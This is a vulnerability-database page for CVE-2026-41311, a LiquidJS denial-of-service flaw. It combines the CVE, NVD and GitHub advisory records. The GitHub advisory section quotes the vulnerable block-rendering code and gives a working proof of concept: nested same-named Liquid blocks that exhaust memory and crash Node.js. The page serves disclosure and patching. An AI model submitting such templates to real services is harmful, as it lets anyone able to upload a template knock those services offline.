Vulnerability-Lookup

CVE-2026-41311 (GCVE-0-2026-41311)

Vulnerability from cvelistv5 – Published: 2026-05-09 04:03 – Updated: 2026-05-11 15:04

Title

LiquidJS is vulnerable to Denial of Service via circular block reference in layout

Summary

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.7, a circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack. This issue has been patched in version 10.25.7.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-11 15:04 UTC

CWE

CWE-674 - Uncontrolled Recursion

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/harttle/liquidjs/security/advi…	x_refsource_CONFIRM
https://github.com/harttle/liquidjs/commit/e2311d…	x_refsource_MISC
https://github.com/harttle/liquidjs/releases/tag/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
harttle	liquidjs	Affected: < 10.25.7	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-41311

Vulnerability from fkie_nvd - Published: 2026-05-09 04:16 - Updated: 2026-07-24 21:10

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/harttle/liquidjs/commit/e2311dfd6e82f73509308aa8a3a1fafc92e226f0	Patch
security-advisories@github.com	https://github.com/harttle/liquidjs/releases/tag/v10.25.7	Product, Release Notes
security-advisories@github.com	https://github.com/harttle/liquidjs/security/advisories/GHSA-4rc3-7j7w-m548	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/harttle/liquidjs/security/advisories/GHSA-4rc3-7j7w-m548	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	liquidjs	liquidjs	*

JSON

To clipboard

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    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-674"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-4RC3-7J7W-M548

Vulnerability from github – Published: 2026-04-24 15:34 – Updated: 2026-05-13 13:38

Summary

liquidjs has a Denial of Service via circular block reference in layout

Details

Summary

A circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack.

Details

In src/tags/block.ts, during OUTPUT mode, each block looks up its render function from ctx.getRegister('blocks')[this.block]. When a block with name a is nested inside another block also named a in a child template, the inner block finds the outer block's render function and calls it. The outer block's templates contain the inner block again, creating infinite recursion with no termination condition.

Relevant code (src/tags/block.ts, getBlockRender method):

private getBlockRender (ctx: Context) {
  const { liquid, templates } = this
  const renderChild = ctx.getRegister('blocks')[this.block]
  const renderCurrent = function * (superBlock: BlockDrop, emitter: Emitter) {
    ctx.push({ block: superBlock })
    yield liquid.renderer.renderTemplates(templates, ctx, emitter)
    ctx.pop()
  }
  return renderChild
    ? (superBlock: BlockDrop, emitter: Emitter) => renderChild(
        new BlockDrop(
          (emitter: Emitter) => renderCurrent(superBlock, emitter)
        ),
        emitter)
    : renderCurrent
}

When renderChild exists (same-name block found), it calls renderChild which re-renders templates containing the nested block, which again finds renderChild, and so on — infinite loop.

PoC

1. Create a layout file (layout.html):

<header>{% block a %}default-a{% endblock %}</header>
<main>{% block b %}default-b{% endblock %}</main>
<footer>{% block c %}default-c{% endblock %}</footer>

2. Create a template that uses the layout:

{% layout "layout" %}
{% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %}
{% block b %}content-b{% endblock %}
{% block c %}content-c{% endblock %}

3. Render:

const { Liquid } = require('liquidjs')
const liquid = new Liquid({ root: './', extname: '.html' })
liquid.renderFile('template').then(console.log)
// Result: process hangs, memory grows to ~4GB, then crashes with OOM

The anonymous block variant also triggers the same issue:

{% layout "parent" %}
{%block%}A{%block%}B{%endblock%}{%endblock%}

Impact

Denial of Service (DoS). Any application that accepts user-provided or user-influenced Liquid templates — such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input — can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.25.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41311"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T15:34:00Z",
    "nvd_published_at": "2026-05-09T04:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA circular block reference in `{% layout %}` / `{% block %}` causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with `FATAL ERROR: JavaScript heap out of memory`. This allows any user who can submit a Liquid template to perform a Denial of Service attack.\n\n### Details\n\nIn `src/tags/block.ts`, during OUTPUT mode, each block looks up its render function from `ctx.getRegister(\u0027blocks\u0027)[this.block]`. When a block with name `a` is nested inside another block also named `a` in a child template, the inner block finds the outer block\u0027s render function and calls it. The outer block\u0027s templates contain the inner block again, creating infinite recursion with no termination condition.\n\nRelevant code (`src/tags/block.ts`, `getBlockRender` method):\n\n```typescript\nprivate getBlockRender (ctx: Context) {\n  const { liquid, templates } = this\n  const renderChild = ctx.getRegister(\u0027blocks\u0027)[this.block]\n  const renderCurrent = function * (superBlock: BlockDrop, emitter: Emitter) {\n    ctx.push({ block: superBlock })\n    yield liquid.renderer.renderTemplates(templates, ctx, emitter)\n    ctx.pop()\n  }\n  return renderChild\n    ? (superBlock: BlockDrop, emitter: Emitter) =\u003e renderChild(\n        new BlockDrop(\n          (emitter: Emitter) =\u003e renderCurrent(superBlock, emitter)\n        ),\n        emitter)\n    : renderCurrent\n}\n```\n\nWhen `renderChild` exists (same-name block found), it calls `renderChild` which re-renders templates containing the nested block, which again finds `renderChild`, and so on \u2014 infinite loop.\n\n### PoC\n\n**1. Create a layout file** (`layout.html`):\n\n```liquid\n\u003cheader\u003e{% block a %}default-a{% endblock %}\u003c/header\u003e\n\u003cmain\u003e{% block b %}default-b{% endblock %}\u003c/main\u003e\n\u003cfooter\u003e{% block c %}default-c{% endblock %}\u003c/footer\u003e\n```\n\n**2. Create a template that uses the layout:**\n\n```liquid\n{% layout \"layout\" %}\n{% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %}\n{% block b %}content-b{% endblock %}\n{% block c %}content-c{% endblock %}\n```\n\n**3. Render:**\n\n```javascript\nconst { Liquid } = require(\u0027liquidjs\u0027)\nconst liquid = new Liquid({ root: \u0027./\u0027, extname: \u0027.html\u0027 })\nliquid.renderFile(\u0027template\u0027).then(console.log)\n// Result: process hangs, memory grows to ~4GB, then crashes with OOM\n```\n\nThe anonymous block variant also triggers the same issue:\n\n```liquid\n{% layout \"parent\" %}\n{%block%}A{%block%}B{%endblock%}{%endblock%}\n```\n\n### Impact\n\n**Denial of Service (DoS).** Any application that accepts user-provided or user-influenced Liquid templates \u2014 such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input \u2014 can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.",
  "id": "GHSA-4rc3-7j7w-m548",
  "modified": "2026-05-13T13:38:38Z",
  "published": "2026-04-24T15:34:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-4rc3-7j7w-m548"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41311"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/commit/e2311dfd6e82f73509308aa8a3a1fafc92e226f0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/releases/tag/v10.25.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "liquidjs has a Denial of Service via circular block reference in layout"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

CVE-2026-41311 (GCVE-0-2026-41311)

FKIE_CVE-2026-41311

GHSA-4RC3-7J7W-M548

Summary

Details

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